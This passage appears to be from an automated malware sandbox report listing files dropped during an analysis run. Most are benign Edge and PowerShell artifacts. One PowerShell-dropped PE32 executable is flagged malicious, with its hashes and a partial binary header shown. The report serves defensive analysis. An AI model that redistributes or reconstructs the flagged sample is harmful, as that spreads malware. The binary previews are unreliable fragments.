data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/typescript/component_libraries/dig-experimental

C:\Users\user\AppData\Local\Temp\97b11d56-dcb9-4a68-91d3-80af7ad6d5e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_024bxxwj.zg2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nzbl5gn.udr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4stw2bds.3om.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3xua4fe.jy0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxzzbb1p.gla.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nyknkdsm.w3z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bcd96f37-d22e-4f4e-aec0-681a2ad709cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 6854964
Category:	dropped
Size (bytes):	1735364
Entropy (8bit):	7.987704088013772
Encrypted:	false
SSDEEP:	49152:8AkDcDtiWo44pzQglyULb3M/uXzUFKr1e6JacQdvuNJYbN:QUqPVb3MQzIKBVJaXdCk
MD5:	F0ED4B13576AA79C5A7B9CE02DD62E26
SHA1:	3593316F8999D6742B01AB577B71E02F5D41243D
SHA-256:	288442E1650A7A4B64705DE487FB7E77C18197DC3EE7DFB33A8BEFCA29166263
SHA-512:	B9561F6F89C9F9FA4D52A90788BC3D87F2B492B021D49B5B4546101CDBBEEA760F03A307C8E05220A77F1AF63754C4C2EC1660CDB483A25A1554F40E2BE3721E
Malicious:	false
Preview:	...........}kw.....+.../.l...Gb...$n....... .1E.$.Gd..;....$.i.9.vu."0........d....Ea.\.....[.1..YHG..'...h.e.(.=...:.I....H...Hh0>....N;..-j..q..V.z.. ..iS.Mh.....l.8.....PI.....{.?...u.z..;.............v.....s.{.?mSs.Z.......K#../XL.b.y.........zJ.1..{..-.] 9e....;.&"O....sg.h....x...-..]?...z...{6.BhJ..R.........t..x........M:......ba.........4.J..C:3.H;.sJR.HH"...5.."..$..4x..[.2...tg......o...t..-:@.I....O-....v...s.@vvd.5.Gt.8.O=....0.+.E...8...C.yB.....8..8.nO......f.$..J...M.G.....h...j?..H....H.dW......cCj.J$.qL.7.N....8..=.^H[#'P..'Q....d.G...\|.#,<.X.... ........j.M.G. Ic&.I................/>..}u...=......O.Q...^.9>?}...?......x...\....r.......}x.r...t\|......./.9.J.A^..?=?;....X..s......}....~..xj.`o...euL&....."XP......(.........?<...-Ad...9.?...m$..d...E.^L...^E...N.@*...x>....:..."..PL4I.](.'...Y].=(W.e...............3..$......(.9].Z.4....1...QIg..K..K...Z.)+sI/).L(.yi.. .\|..X.......v..(b..>...`;.(..X..C..rX9.......

C:\Users\user\AppData\Local\Temp\bdb1b4e4-9a7c-4627-b6c7-3f01ea84fc39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	412508
Entropy (8bit):	7.99888394345722
Encrypted:	true
SSDEEP:	12288:bTi9JPNfgBTIxXL2v6YRl5JCqqpRFW0X2yk:Ps1IBTI9LkhSqqQ0Xq
MD5:	8A8CDC5DA012C2E17F494F7D8C86695D
SHA1:	19B4D200443B96FADA6C03B19A3B44B72E0A1EBB
SHA-256:	94245DE989CA10659E20812A774F68DF0BFEDEFCE841EFB908B932AC22826DCE
SHA-512:	ED968A45E8E79DAEEE6266295056B14E3042505EAE4C5297517A5224BAF767CE73C23B2CFB5178F0AF218831561B7DE7643B7C0807FA5D7570154600F307916F
Malicious:	false
Preview:	...........[[s.6.~......L.p....I.i...3}..l....8N.....@H...&Y...pt...>.ru.r\o.Z.]Y...8..=Fi..;...\|....Bi.Rh...B..3...>F...1Li....G.........-...(.D.>.af.&.Sd .Q.p.Y I,...-.rh.....!..m.Ed..e...^..J.M[.!&...ImT.].Y+..?nI.....FV........y....h#....\|)...p.J.R..zd..Q.V...a.l.8f.:.l..s.2..E..r......d..!`g F......Nhj..{z1.P.4..`....!.I...z.]}..2.mi."..e...,..S\\|,...J!.....^.6..3.RWJu.=z......3A.{.w......rD.,u...Y....._f......._.R.JS.o...>.....X..]noI..R2...G..#.....?..N.&(.c..m.f9.e.#.h....d.$.........t.(.sM..p..J..U./h..Y....~...P...m..Z..0..W...P#..g.^....H..s:.t...F.6j.o)^.C.!U...........QW....a.Kj1JsXL.;.....D........'......0..\|._C....MYsk....._DqB.Mg.S.....JC.^...~{.0....5..M.>!.....TT..H4S44........\..W.(..8.?.?..44..G3....X...i.7.f..W..:b".-.x....l.J...h..V.....<T........S.y.%P.?.2.X..l. s..gv..j$..P^..H........:b.h.....L.....n.k....1.m..9...4%..U..\|..K.p.&....&Um,.'.ftw.&.kN...a.9pQ....o....\|y(Z ...\.^+..#..r0.e..fn.......(Z.5.t....!.e<.....A

C:\Users\user\AppData\Local\Temp\c5774d7f-d3d9-4eae-a61b-7f09c79a8361.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c7698f26-3814-46b7-a4e2-b03c90138a59.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.410183959197254
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0NT56L5L0qnq5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5x
MD5:	256E69A37F6B63AE8F458F132464FDB5
SHA1:	3BDE0BBC5843446860CA779335C1FD8638BED151
SHA-256:	F5215FACB48F0AD1AAAE777EDA4514BC4FB7F875D2D2FC1CF69A5E20DD476DC5
SHA-512:	8E0050A2B0514D0F0D7105F2EFB021CF20B9231260DE564069E84D4C1E0FE7766804679C8EA67DF2A0EED77A75809626F58D87D0F2E9AAA66EF2413D846F77F2
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2949120
Entropy (8bit):	6.502462534743587
Encrypted:	false
SSDEEP:	49152:hk8NZ7wn41Ba0Tfr/aC+1RIYkqYl+RjkgOQ1EIIH39yH0DLtx:pNpwn415ajvI1qYkrO9ftx
MD5:	F7A506F00E525E6D23AEE43D34219625
SHA1:	595AB94FA622DAFB3423F6F8AFFFC9B3E78BFB5D
SHA-256:	7ECD27F823A5D81FE3A3AD79287355DBD526518C5758994B8D728BDFBBBA4AC6
SHA-512:	465E92537A997DC30B909A8A2F7FB9956A495E52FC5736CA660CB0FA81F7BAFF6ACA80637F724875FBC3D0981A7D995C4C99F8AD9019689363CFA4E12A7B5C44
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Qn..Qn..Qn......@n.......n......Cn......Gn.......n......Wn......Kn......Pn......Ln..Qn..qo.......n....A.Pn..Qn).Pn......Pn..RichQn..........PE..L.....f...............!.....4#...................@..........................P-......D"...@.................................."..........p. ..............)...........w..p...........................@v..@............................................text............................... ..`.rdata...`.......T..................@..@.data....`...@...>... ..............@....rsrc...p. ....... ..^..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\scoped_dir1196_117004122\4a7cf66c-7275-41ec-9e54-c703849b8de1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1196_117004122\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1196_117004122\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1196_117004122\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1196_117004122\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\04b6cc9e-0ff7-4406-a8c9-8661d40fa768.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
